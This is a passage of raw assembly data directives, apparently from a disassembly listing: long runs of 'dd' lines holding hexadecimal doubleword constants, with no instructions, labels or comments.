		dd 0DB4D10FFh, 6D830CF8h, 0D3ADC790h, 0F76CECE0h, 74E77202h
		dd 0E269BD54h, 0B0B66ED6h, 70E6E92Eh, 0CBAB4AB0h, 0B341162Fh
		dd 8DFAC9D8h, 0B028EFB8h, 0FF01418Ah, 66D80CF5h, 80794AA8h
		dd 0DAA186A0h, 3EA0140Eh, 29BF0990h, 0F2B5545Dh, 68DF3231h
		dd 3384B7A9h, 0B18DF6CCh, 8199B009h, 51F66D46h,	0F2480256h
		dd 84DCA2FEh, 0A6C21D1Ah, 7CEDE74Dh, 438FE69Eh,	2DA88908h
		dd 20D528A6h, 0F7972990h, 5C709075h, 44EE9585h,	0E288BCE2h
		dd 0C88CB33Eh, 0F0F8CEAEh, 0B6ED5B0Eh, 674FD137h, 2299D076h
		dd 0DEEF1F11h, 481599D5h, 32312034h, 0E96A975Dh, 643BF1A1h
		dd 312609ACh, 666A5032h, 324CCAF3h, 8E14124Fh, 3423EC6Ah
		dd 0FF18C2CEh, 0C0F0E5A8h, 290C6ABFh, 4305EF29h, 1F261308h
		dd 4D8FA7AFh, 0DA41DF6Bh, 8CD674F1h, 780F7EC7h,	0F44E6763h
		dd 390C1A03h, 0C6DD2762h, 0C5F82AC9h, 0A68384CCh, 0C719CDB5h
		dd 24CA90DEh, 6EADEF46h, 0B49EB585h, 8106D98h, 0B9EDC174h
		dd 4AD3276Bh, 390A3066h, 7A0025D3h, 0CF75E2A8h,	59405185h
		dd 0BEA8528Ah, 1AC2C3C8h, 2C12418Dh, 0C7E8C727h, 0CC43BAD4h
		dd 13B507A0h, 753FA11Dh, 33C9EC2Eh, 0D32382AFh,	0FCD75514h
		dd 0A0D04B45h, 8558801Dh, 98244201h, 0C677DE80h, 63397548h
		dd 0B3D0392Fh, 0A98363FBh, 80981AF9h, 53A5EE24h, 92636AE2h
		dd 277D4F45h, 3BB43E5Ah, 8DB91123h, 0F5D9F6E3h,	380A7A29h
		dd 10CAADD9h, 26402565h, 0EF6C9877h, 0CA2B7D71h, 0CD6D65F4h
		dd 927B621Eh, 66D4CA0Fh, 0DA2F0F19h, 6890E0F7h,	7FFA831Fh
		dd 0C1550611h, 5B52BC85h, 0B810A312h, 0D18B2364h, 53C0C686h
		dd 0DECC5CD7h, 0F6605545h, 1CF62F09h, 0F577AD15h, 783362BBh
		dd 1E4D3231h, 843F6975h, 48953D5Ch, 60D932C7h, 0E0132204h
		dd 1F9343E3h, 6AC8D8EAh, 2FA044DAh, 0C561A8ACh,	93CEBE12h
		dd 429B2265h, 0E347610Ch, 34ECEF17h, 0F035B74Fh, 0A26C4239h
		dd 0BC400C18h, 0DDADF7FAh, 821AF322h, 0A3E623B2h, 56DE9D5Dh
		dd 0E8C63D1h, 7F61FC6Fh, 1EA70925h, 0B463913Fh,	3E6D9F09h
		dd 0B8CE97B3h, 1DF4CAE2h, 7A7A946Dh, 37E8BF8h, 7DFC3B0Bh
		dd 47732DC0h, 487C0994h, 0E75B71CFh, 8D367961h,	9652D133h
		dd 12654B3Bh, 0EE598962h, 3F159720h, 0ACA7B629h, 85E21D99h
		dd 677927A6h, 0FE412F37h, 52DA56F3h, 69D29523h,	0D84DDD38h
		dd 0FC9FEDA6h, 111FA854h, 18C742EFh, 0C467CA10h, 19445D25h
		dd 0C8E34688h, 0AAE4DDEDh, 1312CAF7h, 75807442h, 0F927F6A5h
		dd 1DEB2BC1h, 6122C6ACh, 0D5C460B2h, 0AFB9E94Ah, 98072170h
		dd 0D1C3C5DAh, 2586951Bh, 0A0A28052h, 0D242375Ch, 0F8D1882h
		dd 0A2E640B9h, 5CC2FB7Ah, 0FC619B23h, 8F231DCEh, 0D2285C62h
		dd 97E478F4h, 718906A2h, 0A95FBA23h, 0D4C18BB4h, 70300A20h
		dd 80CC6D6h, 0B82DB7ACh, 293E7770h, 669CBDC6h, 91CC2ACEh
		dd 87EF04h, 0A42A5471h,	0C37F2310h, 8345D579h, 0B267CFEFh
		dd 7D67911h, 403A3DA7h,	0F91BB2F4h, 31D57C66h, 0E44FBC32h
		dd 0C44C5105h, 0D7B1C701h, 0C4EA3E28h, 7A3E0F44h, 65FBB00Ch
		dd 5174A7AAh, 0DAA64206h, 18580A00h, 0DA262681h, 0C1B27A1Fh
		dd 0BE362196h, 24626468h, 6AD2399Eh, 402E512Ah,	135DDCF6h
		dd 0ECC48902h, 0D11E1899h, 0B28ECB0Bh, 70372E9Dh, 3CFA03B0h
		dd 0D41F4598h, 4D971EC7h, 0E96565C7h, 7236F1D9h, 0B967195Bh
		dd 71DA9485h, 98C62F34h, 0B5423D1Ah, 0A18EBBBDh, 87E1C50Bh
		dd 0DE3DBCCAh, 86FE401Fh, 0B7E70A47h, 4E5DBCFAh, 2D52362Ch
		dd 53420CCEh, 0C9EA2002h, 0B879661Ch, 1B77926Eh, 45A05602h
		dd 6A213E4Fh, 0A506AC69h, 8101D81Ch, 5A59C1C4h,	98BE1366h
		dd 0D5F3FB5Dh, 3A120E45h, 0D8B36EDh, 0A9BAE0A6h, 0CCBC0F14h
		dd 7DC06135h, 48033AC9h, 0B902906Bh, 53C0A53Fh,	50658210h
		dd 0CC248B4Dh, 9D5F685h, 323135EAh, 0A230C054h,	398F8F8Ch
		dd 0C4564A04h, 0C48B98CEh, 0B28354FAh, 0BE2C9C00h, 744AD538h
		dd 3231E360h, 74971A5Bh, 0DDE2C632h, 59C43DFCh,	0DDE63A0Eh
		dd 9999FB44h, 0E1B38A7Ch, 715E5285h, 3FCF9D34h,	0CC05C4B2h
		dd 1134F973h, 0F20E50F4h, 6A17917Dh, 8A76CEFEh,	7E44ED90h
		dd 0B9FCA96Dh, 0F2D81572h, 73F87BB6h, 51BE8ADEh, 1DF87401h
		dd 4821FE2Ch, 1DF53BC7h, 0C1FBC034h, 0E5B245AEh, 0C97757B2h
		dd 8E64F491h, 6ECF3AE8h, 8ECB0B96h, 2ED98E75h, 20FEC84Bh
		dd 0C13D7BD4h, 0BB8264Dh, 2F9E80A1h, 3D41C108h,	2A42D467h
		dd 4168E7EDh, 0D78F5F9Dh, 0FC0F58DEh, 95D20313h, 8B295504h
		dd 8BC20F15h, 9CB67E3Fh, 24363985h, 1222B5F6h, 3B61516h
		dd 14F570B4h, 4917F2B0h, 0B3E6AB00h, 7A8C5C51h,	983340C7h
		dd 0AD20B47Ah, 7AF6E7D4h, 0C0E510E6h, 0B6093231h, 0DD09BE93h
		dd 0C68CBC72h, 69A7617Eh, 0B9A060F2h, 0CDA41E60h, 19B6CF01h
		dd 0CF30737Eh, 628C328Dh, 1833FF0Fh, 6F51A0Eh, 1E3880DDh
		dd 7E360F23h, 0B6565B00h, 2BFE03C9h, 6C67137Fh,	8A97103Ch
		dd 3947FF3Eh, 4178A2C4h, 5F948AF6h, 0BC878C8Dh,	909CAC8Bh
		dd 8C72715Eh, 38A8857Eh, 7DCE0EF8h, 192D4313h, 1FD43C0Fh
		dd 0E948D21Bh, 0FC6FDD95h, 339B4FFDh, 3A5B0F7Fh, 0DAB376B9h
		dd 0C2688A40h, 0A38A712Bh, 76E11E5Bh, 2E197A8h,	0DB328560h
		dd 4568CEBCh, 5CFC548Ah, 16511800h, 0BA5FD18Ah,	6D951CDCh
		dd 67896743h, 0FA106A4Bh, 0FB902533h, 1F7F78D4h, 2FCC78DEh
		dd 0F3A12653h, 0DB02A2FBh, 153C01C0h, 0ED690E2Ch, 6E61400Ch
		dd 0E1A0EC55h, 3378270Ch, 8DD27225h, 0B6DB4DDFh, 1C393469h
		dd 2D66F367h, 7620A1DAh, 0FAE94FD0h, 0F289054Eh, 36E23891h
		dd 2018D3DCh, 0C2B8119Dh, 1803EACBh, 7FC1E71Ah,	87AAF586h
		dd 840CB6BFh, 9A723697h, 0C2220EA8h, 7B18CD4h, 4B72CCEBh
		dd 254DF09Ah, 7912E50Bh, 0B5542AB5h, 0B38F19C2h, 0ED0C59C3h
		dd 0FC300E59h, 712E9C71h, 0F51BC5EBh, 714276BBh, 30F49612h
		dd 3231D654h, 8E3CBE3Dh, 443B888Ch, 8D465984h, 0AE4F30A3h
		dd 0ED8BD34Fh, 0BCDAD0C1h, 322503E2h, 17F77AF9h, 0B1B74E4Fh
		dd 44352398h, 90D2ED74h, 0A4FE95DBh, 76B38992h,	3CD89B83h
		dd 0E3C63F92h, 556BC942h, 4BD0D4A9h, 8677DB23h,	128ED60Ah
		dd 3231BBA7h, 30B21589h, 2FE1F596h, 1058F879h, 0A12F70B6h
		dd 924372EBh, 38D2968Fh
		dd 0FE3DE517h, 0B5FE1117h, 0B6540940h, 8A8BF4AAh, 3AE0155Dh
		dd 78049144h, 0A544225Ah, 16DFDD97h, 643894B8h,	3DCCE53Eh
		dd 0ACD4EDBAh, 0AFA19027h, 8B761665h, 6C918A59h, 335CB4E0h
		dd 0D9CFB505h, 9C0ED965h, 573963A5h, 8F714649h,	279AB538h
		dd 0E0C728Ch, 5FA9CF97h, 0B566AFD8h, 16C84B43h,	9FC6ADA1h
		dd 10F9C92Ah, 57B6712Bh, 17EC5F48h, 0FAC8A4h, 38723A5Fh
		dd 0A1323160h, 0E371272Dh, 0A61055C0h, 0DE8D25C0h, 521380AFh
		dd 0DC50F8A2h, 0D0E050BAh, 3F15FFEBh, 0CF7DBC8Ch, 0BC654882h
		dd 0CE47A3D9h, 0D974BA71h, 97F511A2h, 5D88CE47h, 5521826Fh
		dd 426E0BCAh, 39A9C99Dh, 1EB1A36Dh, 9B5F21D4h, 1A4ADDFAh
		dd 8AFE471Ah, 810A44BAh, 88BCCB34h, 15877E66h, 0C5AE7EF9h
		dd 0A0F2E84Ah, 0D4934BEDh, 63A47759h, 1B04C127h, 8E590A81h
		dd 3B897DB4h, 0BCEC3F57h, 39184E49h, 0B29F4890h, 1ADD1C60h
		dd 54985BD2h, 24E21E1Bh, 98335B5Dh, 0E7CE62E7h,	7222B599h
		dd 27E03D46h, 0B7842034h, 8F7574AFh, 1A2543BBh,	265E8DB0h
		dd 9F515C64h, 1762A5D1h, 3F2B7E8Bh, 96F2355Fh, 70B11667h
		dd 48323143h, 0BE701535h, 8C8AC69Fh, 0FD6C39C5h, 7B6B701Dh
		dd 0D4D8C8E3h, 4F91334h, 9BA0001h, 0A155C252h, 0F83BF400h
		dd 73115EC8h, 0C7041FB7h, 1CDD1E33h, 0CC28BC01h, 10F52785h
		dd 0BE0ACA61h, 8E8679AEh, 0A024AF81h, 90938585h, 8BBDFD32h
		dd 403378BDh, 9FF018E2h, 2722A533h, 875B1B60h, 0A125789Bh
		dd 6F900A95h, 0F9ED72E3h, 9D0E6509h, 3A84EA3h, 64AE5441h
		dd 5454F928h, 5B33DF2Ah, 60BDC799h, 805EE6C9h, 0ED91DBE6h
		dd 0EC034BD1h, 0DB8ED564h, 0FC305808h, 0E58B1D5Ah, 0D25D7E07h
		dd 0D3106469h, 9B232177h, 0E86446CFh, 1233D452h, 3C36BC18h
		dd 0CFE16F49h, 7D214D57h, 0A86AAE29h, 0AD5C2C15h, 85BECBBh
		dd 0E2474DDh, 993B4565h, 0EA628C39h, 6E59E68Eh,	0C208C1EEh
		dd 23DF9B87h, 44AEC7D3h, 62B05EBBh, 6F09F30Dh, 7D02B37Eh
		dd 0C2EC2974h, 13D4D3EBh, 5E48C032h, 2A8311CCh,	0DCA6892Fh
		dd 0CC8F8FFBh, 6B94749Dh, 4FB2F0B9h, 551EFA5Dh,	26C98E57h
		dd 0BDFC551Ah, 0F93C72F0h, 0E62E4CE5h, 1488AFE6h, 0AABBD148h
		dd 36CF9898h, 21F72278h, 6AD72951h, 1F0534EDh, 0A5497CDFh
		dd 5A0E5656h, 96B49804h, 89E80204h, 0EEA24D58h,	0E7D3EAE6h
		dd 0BCF37B81h, 26386127h, 10ED3CB0h, 423E8DF1h,	0D1D55066h
		dd 0FC8FF92h, 0FB402011h, 0A1D46BFBh, 82146942h, 5B6848D1h
		dd 0D8282CF9h, 64BF735Eh, 9ABAEB45h, 0C83EE012h, 5F20CF46h
		dd 0C941E2ABh, 0C9EA577Fh, 7D9BBC9Ch, 8C8EFDA1h, 30A5D68Dh
		dd 63D664EEh, 0A2A9AB13h, 0CB5D1828h, 0EC3D334h, 0F8943424h
		dd 9DC63231h, 0AF263C12h, 5E2243AFh, 447DE9A8h,	4EE01CD8h
		dd 114C7D1Bh, 80F76F57h, 0DAED78A9h, 95261AB1h,	221D7EE5h
		dd 0C7AFFA9Fh, 87A8B3F3h, 21BD2682h, 0D3BEC92Dh, 0FCC6753Dh
		dd 2FE29ECCh, 0C24533DBh, 0CC93D211h, 4E03AB09h, 644DAF68h
		dd 0E7F43E16h, 0ECEF1EF3h, 0AC8A65C2h, 229AC7FBh, 29F183A1h
		dd 0EC8FCE74h, 61D4030Dh, 0BC343B20h, 74A8109Bh, 0A4B95640h
		dd 0CD6C3C37h, 3850D1C5h, 5E9C061Ch, 1B66D708h,	0B0AB4D2Fh
		dd 56985B7Bh, 59952B42h, 5FFE13C9h, 9B2AF263h, 56AFF363h
		dd 6E826013h, 32921FFh,	5E188197h, 0F848A912h, 0D899E39Fh
		dd 84C98C66h, 5885ED8Fh, 0FE95846h, 0E2943E27h,	0BA5AE83h
		dd 5898BD49h, 0B082531Eh, 0D301F320h, 479E0DEBh, 0EA7CD1B3h
		dd 0B0A852E9h, 965467C1h, 143F6255h, 0F46F005Bh, 45FAB882h
		dd 8E4656E3h, 0E4B5EC0Fh, 0FBA145A8h, 0A32FEF39h, 5C3720D9h
		dd 829FF01Ch, 92C0170Bh, 8F703F18h, 0FBFA1983h,	149B17A6h
		dd 157689ACh, 7D62A7CBh, 0DC8D1F32h, 600B159Ah,	7C63BD9Fh
		dd 0ABE5B4A0h, 0B280F173h, 0F3FC0B73h, 65064799h, 0F0C5A107h
		dd 0C08F8B57h, 9E36F76Eh, 3BE79A71h, 5E64AC4Ch,	3C7530E2h
		dd 12EB4EB4h, 95A9674Dh, 113F6C19h, 2591505Ah, 1FAC8659h
		dd 0C6278902h, 98938DA3h, 96E7EC47h, 702CB05Ah,	0A0B361ABh
		dd 9B73A07Eh, 147BEEE5h, 0F8534CF3h, 58EDEA26h,	1333EB94h
		dd 0F814F671h, 63713A38h, 0BE292929h, 9162D9D8h, 0BE15FF6Bh
		dd 62D9E32Fh, 1FC1D7ADh, 210FA43Ah, 1AE4FF36h, 9FBDA5F7h
		dd 7002AA06h, 1B6A4498h, 40F713FAh, 2B35EB8Ah, 815A222Bh
		dd 0DF45E89Fh, 1A4D9F8Ah, 77AC259Dh, 0B157BF4Fh, 0B60FDD8Eh
		dd 0FCDFE73Fh, 4686E4A3h, 566D2A1Ah, 1E2F9965h,	88D06B2Fh
		dd 0B5F8589Ah, 0F149AF7Dh, 0AB8F9A4Ah, 71950868h, 6B462B8Ch
		dd 0B5B28546h, 70121FAAh, 7F3D017Ch, 1EAAD4F8h,	9EFD3018h
		dd 0B1C2B369h, 1783A2EBh, 63A5295h, 1E7EC60Dh, 0A268EDB8h
		dd 1F946CD1h, 2191CF4Dh, 0DDC939B2h, 79B5FDh, 91D8DB8h
		dd 0FB99E45Dh, 3D1AC49Ah, 33C52140h, 4EA811A4h,	5846B3D8h
		dd 7FD2E5AFh, 7CE9F78Bh, 4D92387Dh, 0AFFE25A5h,	37D0BC50h
		dd 41DD96Bh, 0D1C3AB08h, 4E531CD9h, 76BD5BAh, 0DDCF4978h
		dd 0FE9EECBCh, 0F77BEB43h, 1574590Fh, 0DC46DCBAh, 1EC743C3h
		dd 5B4E7492h, 42E50857h, 690D3856h, 0EB389FBh, 50BFB20Ch
		dd 40CAB80Fh, 0EC7C6FE4h, 0EC3E712Eh, 27F7DF28h, 5647635h
		dd 7305C0B2h, 0E713B58Bh, 0EAC7A50h, 28AACEB7h,	0D007B198h
		dd 5A566B9Eh, 0CCC40708h, 14C52F41h, 41B2D2C0h,	61FB4139h
		dd 0DB14C8B9h, 3D42C71Eh, 0DC21498Eh, 0A21CAD1Ah, 7D28B2DFh
		dd 9069CACh, 0DF854735h, 7066B21Ah, 3CEBB6E2h, 0D222FE09h
		dd 414CC54Eh, 0CC49176Dh, 77DCD687h, 7BEA4605h,	0AC4B1A9Ch
		dd 37BCD2ACh, 95DAD6h, 9A0399E3h, 69DBE342h, 29ECA0D1h
		dd 6F3E550Dh, 9522F45Ah, 0CF076D7Dh, 0D464C60Bh, 5F3C7DADh
		dd 0C04A4915h, 5E63A8BEh, 0DBFC9D8h, 0D3957125h, 574A57Dh
		dd 81300019h, 8C6D6E79h, 0E563CA19h, 679D9F57h,	93424F6Ch
		dd 357425CBh, 0BCC901F8h, 0A9D01772h, 1095C4A8h, 8718A289h
		dd 209FF220h, 47210194h, 0ECE5AF73h, 0FB495162h, 0DB174303h
		dd 0AA9992E7h, 0DE3371B9h, 0AAFA6427h, 1A9B660Fh, 1DDAA13Ch
		dd 0F8C68BAAh, 1BDBAA98h, 75C07B5Dh, 0A0618210h, 6DA74F5Fh
		dd 0CDFD6EE1h, 59785CFAh, 0FD9704DFh, 60FA9085h, 0CDB1DA42h
		dd 3BE5183Fh, 0D17617EBh, 7EFCE8CBh, 415311A1h,	0C49E8559h
		dd 2C868063h, 9BDD7911h, 99E1E14h, 5F1F4DF9h, 3180D75Eh
		dd 5013BA32h, 2B42403Ah, 0DA5BD87Dh, 0A8BEC9E4h, 1F9F6CB0h
		dd 510EC6A5h, 2F4FE643h, 0D5A0F6F9h, 5D16F149h,	0B0877EE1h
		dd 0CB5115CFh, 99A134Ch, 8EE5DCB3h, 82451477h, 812B8AFEh
		dd 0A7400DC6h, 0FC14CE8Dh, 0EFDA014Bh, 0AF428C7Ah, 8CAE087Fh
		dd 64F5F7BCh, 0BCC09852h, 8448F4F3h, 38C39E9Eh,	0FE170F9h
		dd 6C764F0Eh, 622D287Ch, 93F6EED0h, 0CC4A47h, 77CF90F7h
		dd 84A020Fh, 0E33A7FFDh, 67DA6E38h, 0B7350A4Ah,	0D6B4FD98h
		dd 85E9CE04h, 9F6A0B5h,	0EE98B277h, 0DC3231E0h,	874313A3h
		dd 0D8F8156Fh, 93269F4Fh, 0F3FB061h, 6B0F63D0h,	37EAAE87h
		dd 0FFF95226h, 0D44D637Ch, 0B41B6210h, 0B6B7E6D1h, 0A9660257h
		dd 16F3E4D3h, 707948F8h, 36C88480h, 94F7B26Fh, 0A11F3231h
		dd 67F9DE38h, 0C5266886h, 80FED1D5h, 0C70E365Eh, 7DA3BFA3h
		dd 548FB40Ah, 0C926E7EAh, 6517C4Ch, 3E18B133h, 96B96C11h
		dd 6FDDA0D2h, 0BEBB0E74h
		dd 0B7CCA104h, 0CA9BF5E6h, 3C3A2203h, 9F689512h, 5B028915h
		dd 5839F9DFh, 0A5B029E5h, 0C7103303h, 0D460775Ch, 2162C5A6h
		dd 0A4FD3F83h, 0B35349ACh, 91F64832h, 0F97B622Eh, 0ECB9CD57h
		dd 0F88AB221h, 33A2F553h, 0DF22ACFFh, 0EE1EB930h, 5CA30585h
		dd 3D29F0A4h, 0ABEA2A50h, 7C02B33h, 8C73B2C9h, 0D95297AFh
		dd 90AE0B20h, 700382C2h, 0E72BCE0Fh, 11405045h,	6AD8058Eh
		dd 5EACEBE9h, 1BE0D082h, 844EB0C5h, 0CF8C3A56h,	0C2F82EADh
		dd 0AB3CA4F6h, 0F6CC902Ch, 7D41134Bh, 0D2F47CFFh, 4AB3BBC5h
		dd 0BD42BE92h, 8A0E8576h, 6EBB7311h, 0D2A472CAh, 0B367324Ah
		dd 98B8AFEEh, 9BA8FE99h, 4BCE8DB6h, 89505A70h, 4F7C8204h
		dd 0E6E8CCEAh, 7CEF441h, 6FD92E8Ch, 96F982Ah, 76F37787h
		dd 0DF288591h, 16055D85h, 58CD7972h, 82149784h,	2663397Fh
		dd 88EAB8E1h, 580862AAh, 0DD02A765h, 0A455966Eh, 47D95CF9h
		dd 5E140F1Fh, 0A015FCD0h, 0E671253Bh, 0A4AC5DEh, 3E5852F1h
		dd 6E3B810Dh, 80BC194Ch, 6F790004h, 8E486D69h, 1E9B0228h
		dd 2F104584h, 8FE8075Fh, 0CEF5FD4Fh, 0C35A4EE1h, 63DDDDF1h
		dd 3B25C6F1h, 4B4D4D44h, 6F832BB2h, 2C03528Ah, 0A65BEBCBh
		dd 818261DFh, 0A27AB89Ah, 4D9D866Ch, 996AC096h,	806E41DFh
		dd 0D6E52C11h, 9FA11BEFh, 8EDEB5DEh, 702AA639h,	18559B07h
		dd 2AEFF767h, 5A11494Ah, 0ED1F715Dh, 0E94D58CCh, 0E70212BFh
		dd 0CAE804A5h, 7117FFF8h, 95FDDE6Ch, 6AA050C5h,	0BCF28B6Ch
		dd 6C45FB3Bh, 0E0238420h, 78970781h, 0D1E4AA25h, 8CCCC373h
		dd 79571A75h, 512A551Ch, 0A1439315h, 0FDE7A5ADh, 1FC2E425h
		dd 0EE488EA5h, 5780DB5Ch, 4699126Ch, 5F616243h,	0E2AD1232h
		dd 534CB585h, 0D497B73Ch, 298CC2CCh, 0DB15C813h, 24124920h
		dd 0F71182AAh, 898FDE3Ah, 0B2E76FA2h, 0CCAF23BFh, 0BA6E33F6h
		dd 0B69A2142h, 373E707h, 0C908190Ah, 425579E7h,	43658C41h
		dd 8C63727Eh, 4D130425h, 5ED4F19Ah, 910A5D2Ch, 0E1C806C9h
		dd 0CACF4FE2h, 50BA6B6Ah, 0EB6DF3F6h, 10509AF4h, 0C8244788h
		dd 0CD021DB2h, 4137529Eh, 0CA2A86BBh, 52D94324h, 0AA460685h
		dd 46FA0CE2h, 928D2B56h, 0ECD5F3FCh, 750485EDh,	220A9138h
		dd 0D9FD25F1h, 7612185Eh, 0BDFEE621h, 704946DBh, 6135229Ch
		dd 225C1261h, 0FF986CB8h, 42593AD2h, 0E0B69D0Bh, 0CD785C9Bh
		dd 0AD2D94AAh, 0E59A432h, 5F86F5FFh, 0B878370h,	26719479h
		dd 0F3DFACA4h, 5E9F4A38h, 6E306CD5h, 0A1625F4Ah, 0A7677613h
		dd 4FEEB81Bh, 3AF2D30Ch, 68DD9348h, 0E7257DE2h,	0EEE29A37h
		dd 62BFD5Bh, 29950921h,	0BB64503Eh, 0A287517Dh,	1B2CAD60h
		dd 86272774h, 4E0805E1h, 0F5547DFh, 0A828292Ah,	776A48EBh
		dd 0B38271CDh, 1B82337h, 543BF511h, 6537DE0Dh, 0B1071D49h
		dd 0B9177C98h, 2F618F6Dh, 0BA8C511Dh, 4B834B83h, 72A21053h
		dd 0E6C14E39h, 0DEFE79ACh, 0C176FD66h, 6F462185h, 831E589Fh
		dd 86912A5Dh, 0F8027743h, 882568DDh, 2174C2C3h,	0B98D178Fh
		dd 6E006CB4h, 0B8E2EFFDh, 0E1F0584Dh, 72397D0Ch, 4ACB8DD2h
		dd 18EF6FD2h, 838B3FD2h, 62C96F68h, 8FEFAB1Ch, 0A05A3AC4h
		dd 0F2950220h, 616F28h,	9E5FB5B8h, 0FC63F586h, 0B2756082h
		dd 2CF21714h, 0E5CE340Eh, 4FE81869h, 0A8081BA5h, 1012BA9Ch
		dd 0E33D5B56h, 7A58C005h, 1D22F575h, 89140C5Ch,	2DBFD074h
		dd 0D6209694h, 0E8D2DBC3h, 712D84F8h, 3F5ED86Fh, 4AC1C369h
		dd 0F29BD54Fh, 24DD59D5h, 0B3C49B10h, 7DD66A46h, 5835BCE9h
		dd 8609EE68h, 1D48E79Eh, 55453423h, 91EA482Fh, 0ECE704Dh
		dd 0A54E4DB4h, 0DD9DF5D1h, 32318C84h, 1BD35E1Fh, 0A23A7E34h
		dd 0A57522C7h, 8F7987B5h, 3AE78C0Ch, 0FDD50E74h, 8AC96450h
		dd 0C28BA4C0h, 633F59D5h, 0A00CF1BCh, 7ED63BC3h, 9469FDE7h
		dd 1C1907BDh, 2D7FFD03h, 2D231C14h, 134F5985h, 0C5E93357h
		dd 9FDA7030h, 2511D455h, 3945F660h, 2C1FDAF5h, 0F83AEE8Eh
		dd 0DD9A4EA9h, 0CD187E7Eh, 2BC3CDACh, 4F3DB182h, 322BDA70h
		dd 0C619FFF9h, 469685FAh, 6CDB1371h, 9AEFAD79h,	4BD8BF8h
		dd 0E62275FBh, 0CB6DFB6Ch, 2EA130FCh, 185DD8B7h, 45A0517Ah
		dd 5AA59052h, 6E882073h, 84AE7D2Eh, 0E393D9D6h,	0D6029140h
		dd 2C50190Bh, 851144F3h, 9429F986h, 6C1354EAh, 3B3545CAh
		dd 0E14C173Eh, 0DE222864h, 59916D78h, 0D9E55EEDh, 33B50942h
		dd 506AB05Bh, 1F823DB0h, 21EFEA59h, 0E8320BE0h,	0CDFBF434h
		dd 5AAED24Ah, 4D1B81E4h, 649182EBh, 0CCBC2711h,	563E53ABh
		dd 8AB624A8h, 622F83E7h, 87C8D3FFh, 0F606840Ch,	2F0966DBh
		dd 2C084D06h, 78D90D84h, 87AB703Eh, 109A3FCBh, 614CBCC9h
		dd 63C1F1A7h, 48716FABh, 683A8D86h, 26138D53h, 94F5E306h
		dd 9818A644h, 0F1484855h, 5BCF20B1h, 0F3BB79A2h, 95B8F8D9h
		dd 6D25BAA9h, 5A9DCBF5h, 0F951A267h, 6A816936h,	48FD14Ch
		dd 68BA07D0h, 73DCEED9h, 10BB591h, 845CBAECh, 4B47A785h
		dd 532D5834h, 32317D25h, 73D9AD7Ah, 42595F42h, 9010C1F9h
		dd 0E16ED28Dh, 0BF094BCCh, 0B213717h, 32312D9Dh, 0A950C85Fh
		dd 8C588E40h, 0A57EC59Ch, 4A6BCA0Bh, 43B9F8F9h,	67ACF627h
		dd 3E75E7Bh, 78330F88h,	9AEB0782h, 49DEE7B8h, 0A5211749h
		dd 67BAC984h, 0D71CA403h, 0C817B3B8h, 0F0909CEEh, 739E3E9h
		dd 25E8E04Eh, 6042FEB0h, 87AD5BAEh, 0B31D7C26h,	0B01161FAh
		dd 5047D6B3h, 0A489AFC0h, 60480B12h, 78F8B6Fh, 0D0708DE1h
		dd 10509493h, 80577050h, 0A4EBCAC4h, 5BE9BD5Ah,	0E7388234h
		dd 8BB7F174h, 4E12ECC6h, 5D51AB4Bh, 704660FDh, 0E173F357h
		dd 0A75B623Fh, 0C8A88DDFh, 0D28E1688h, 0E378DFACh, 0A114B9B7h
		dd 1DA65B28h, 0ED1A0708h, 0DB48E0B2h, 99287E5Bh, 92E5D07Fh
		dd 0A9911DCEh, 2CE75F7Fh, 0A39F0534h, 0F20342DEh, 3268073Eh
		dd 0F32D4EE1h, 0C41233D6h, 5AEFEA6Ah, 7166F1EBh, 0BEC5A718h
		dd 0C3A4B1E4h, 978232FDh, 63151E75h, 5B32DA8Ch,	7B9C6335h
		dd 0BA6AB132h, 0E64C5880h, 9C00A7FAh, 4AD60548h, 39FA3495h
		dd 9A9C3C81h, 5F428055h, 0C1E47558h, 0A4E634C8h, 61731D71h
		dd 22D6BF09h, 67F9E104h, 4DBFEF6h, 0FF9A66Ch, 0F342C6DCh
		dd 0A58BEB2Ch, 0C7D69F7Ch, 4C9424CFh, 67279E90h, 3FDB13FBh
		dd 8DAF0D3Eh, 6C0480F7h, 0EDC976AEh, 0F303E61Eh, 22B4882Ch
		dd 39C8EB5Fh, 0A8052EBCh, 0BD395117h, 6AB024AAh, 7EFB907Eh
		dd 0C880BD97h, 3675B5C7h, 1AF8D744h, 581A7365h,	79398CE1h
		dd 4FA00E8Ah, 0AF784A85h, 0D5809BDBh, 0F5014C3Fh, 68ABEF25h
		dd 80D05B9Bh, 0B95F6DCBh, 26DD44A7h, 495D6076h,	0E849F62Eh
		dd 0D6B93E2h, 1C9FF91Ah, 35881695h, 1E5536A3h, 9D221B2h
		dd 70F63E32h, 91DE5321h, 93829Fh, 0E55EBED5h, 80791598h
		dd 85408FCEh, 0F841F168h, 0C580F4F3h, 0A80E8980h, 0A2DEB9BDh
		dd 9A26B278h, 842112DBh, 47C43265h, 0AD3AF3EDh,	3310BE20h
		dd 715FB6Dh, 0BDEDE317h, 0AEA86BCAh, 7B81521Bh,	5B7DCE7Eh
		dd 77C72279h, 167C0690h, 2A205719h, 0D297885h, 48E7AE13h
		dd 7CC5919h, 960480ADh,	999B635Eh, 8B2226C0h, 171DA93Ah
		dd 0D98963F3h, 0C94260DDh, 14B13929h, 0E34CD76Fh, 48079013h
		dd 52F0A764h, 6EE076ACh, 619DE696h, 687B0938h, 0A2ED3D89h
		dd 5C30942Ch, 2824C58Fh, 31792796h, 1E819A32h, 29DFCE1Ah
		dd 0A6FBFDFh, 13001410h
		dd 89893DF5h, 0D13C2D0Ah, 67AB55D1h, 178477F6h,	0F5D9179Ah
		dd 339BC915h, 0F2C22228h, 51F7B8E1h, 7E9C3424h,	27E70622h
		dd 1AB07336h, 1099CDF1h, 769FB47Eh, 0C7307DA0h,	0F98CD156h
		dd 66C7968Fh, 9FEDD3C5h, 0E263FA1Fh, 8D8A3231h,	0A4480107h
		dd 0E04B095Bh, 0A4522C79h, 1E699669h, 289D99FBh, 7B47F87Ah
		dd 0B0F5D4C8h, 4AA2C19Bh, 0E881349Bh, 15694336h, 83FD7FF5h
		dd 42C05759h, 0DBEA294h, 0B51A8F96h, 0C579228Bh, 0B334B280h
		dd 7FD6F738h, 260D13ACh, 0D50A2CEh, 28EEC737h, 0B20CF666h
		dd 0E153409Dh, 0EF94369Fh, 0B3FB6076h, 0DA46C0C0h, 0C040C9A3h
		dd 0E9EA8342h, 7F71E884h, 0B26B492Eh, 0DBF0E9A0h, 2BAB2B9Ah
		dd 774D873Eh, 0DF3B9B38h, 0DA6C0940h, 50093h, 0EA9BC0BDh
		dd 63D0697h, 0F397EA8Ch, 0CE6DE38Ch, 2E08F7E4h,	0D6BE8776h
		dd 34E076DEh, 5291855Dh, 2C7AC907h, 0C918DDCh, 9E1A7713h
